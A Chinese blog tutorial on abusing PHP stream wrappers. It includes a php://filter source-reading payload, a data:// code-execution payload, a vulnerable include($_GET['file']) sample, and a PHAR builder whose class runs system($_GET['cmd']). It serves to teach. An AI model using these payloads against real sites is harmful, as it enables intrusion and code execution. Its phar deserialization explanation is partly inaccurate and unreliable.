PHP 伪协议深度解析:原理、攻击场景与防御指南

在 PHP 安全领域,伪协议(Pseudo-Protocol) 是一个绕不开的关键概念。它是 PHP 内置的一组特殊 “协议”,允许开发者通过统一的输入接口(如include()、file_get_contents()等函数)操作非传统文件资源(如内存数据、数据流、压缩包等)。然而,这种灵活性也为攻击者提供了利用空间 —— 通过构造特定的伪协议 URI,可绕过文件系统限制、读取敏感信息,甚至执行任意代码。

本文将从原理出发,结合实际攻击场景,深入解析 PHP 伪协议的技术细节,并给出针对性的防御建议。

一、PHP 伪协议的底层原理

要理解 PHP 伪协议,需先理解 PHP 的流(Stream) 机制。PHP 的流系统是一套抽象的 I/O 接口,通过 “包装器(Wrapper)” 将不同类型的资源(文件、网络、内存等)统一为标准的读写操作。伪协议本质上是流包装器的 “调用入口”,通过特定的 URI 格式触发对应的包装器逻辑。

1.1 流包装器(Stream Wrapper)

PHP 内置了多种流包装器,每个包装器对应一种资源类型。例如:

  • file://:操作本地文件系统(默认包装器)
  • http:///https://:操作 HTTP/HTTPS 网络资源
  • php://:操作 PHP 内部数据流(如输入输出、过滤器)
  • data://:直接操作内存中的数据
  • phar://:操作 PHAR 压缩包(可触发反序列化)

通过stream_get_wrappers()函数可查看当前环境支持的所有包装器:

print_r(stream_get_wrappers());

// 输出示例:Array ( [0] => https [1] => ftps [2] => compress.zlib ... [n] => phar )

1.2 伪协议的 URI 格式

伪协议的 URI 遵循标准格式:

<协议>://<路径或参数>

例如:

  • php://filter/read=convert.base64-encode/resource=index.php:通过php://filter包装器读取index.php并进行 Base64 编码

  • data://text/plain;base64,SGVsbG8gV29ybGQ=:通过data://包装器直接加载 Base64 编码的文本数据

二、常见伪协议的攻击场景

伪协议的危险性在于,当它们与文件包含函数(如include()、require()、file_get_contents())或反序列化函数(如unserialize())结合时,可绕过常规的安全限制,实现敏感信息泄露、代码执行等攻击。

2.1 php://filter:源代码读取的 “万能钥匙”

php://filter是 PHP 内置的数据流过滤器包装器,允许在读取或写入数据时对数据流进行转换(如编码、加密、截断等)。攻击者常用它读取目标文件的源代码,尤其是当目标网站禁用了file://或限制了文件后缀时。

攻击原理

php://filter的 URI 格式为:

php://filter/<操作类型>=<过滤器列表>/<资源类型>=<目标文件>
  • 操作类型:read(读取时过滤)或write(写入时过滤)
  • 过滤器列表:多个过滤器用|分隔(如convert.base64-encode用于 Base64 编码)
  • 资源类型:resource(目标资源路径)
实战示例

假设网站存在文件包含漏洞(如index.php?file=xxx),且xxx参数未严格校验:

// index.php

include($_GET['file']); // 未校验参数

攻击者可构造如下参数读取index.php源代码:

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

服务器执行时,会先读取index.php的内容,通过convert.base64-encode过滤器转换为 Base64,最终被include()包含(此时 Base64 数据会被当作 PHP 代码执行,但因无有效 PHP 标签,实际会报错并输出 Base64 内容)。攻击者通过解码 Base64 即可获取源代码。

2.2 data://:内存中的恶意代码执行

data://包装器允许直接将内存中的数据作为文件资源使用,格式为:

data://<MIME类型>;<编码>,<数据内容>

  • MIME 类型:如text/plain、text/php(声明数据类型)
  • 编码:常用base64(数据内容为 Base64 编码)
攻击场景

若文件包含函数(如include())允许加载data://协议,攻击者可直接注入 PHP 代码:

// 恶意参数

?file=data://text/php;base64,PD9waHAgcGhwaW5mbygpOz8+

// 解码后数据为:<?php phpinfo();?>

当include()加载该 URI 时,会将 Base64 数据解码为 PHP 代码并执行,导致任意代码执行。

2.3 phar://:反序列化攻击的 “隐藏通道”

phar://包装器用于操作 PHAR 格式的压缩包(PHP Archive)。PHAR 文件默认包含一个metadata字段,存储反序列化的类对象。当phar://被用于包含文件时,若 PHP 版本低于5.6.30或7.0.14,可能触发反序列化漏洞。

攻击条件
  • 目标代码使用unserialize()反序列化用户可控数据
  • 服务器开启phar扩展(默认开启)
攻击流程
  1. 构造恶意 PHAR 文件
<?php

class EvilClass {

public function __destruct() {

system($_GET['cmd']); // 执行系统命令

}

}

$phar = new Phar('payload.phar');

$phar->startBuffering();

$phar->addFromString('test.txt', 'test');

$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 必须的存根

$phar->setMetadata(new EvilClass()); // 存储恶意对象

$phar->stopBuffering();
  1. 触发反序列化
unserialize(file_get_contents('phar://payload.phar'));

// 反序列化metadata中的EvilClass对象,执行__destruct()方法

2.4 其他危险伪协议

协议

典型用途

攻击风险

zip://

操作 ZIP 压缩包

配合文件包含读取压缩包内文件

glob://

匹配文件路径模式

遍历目录获取敏感文件列表

ssh2://

通过 SSH 操作远程资源

未授权访问远程服务器

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值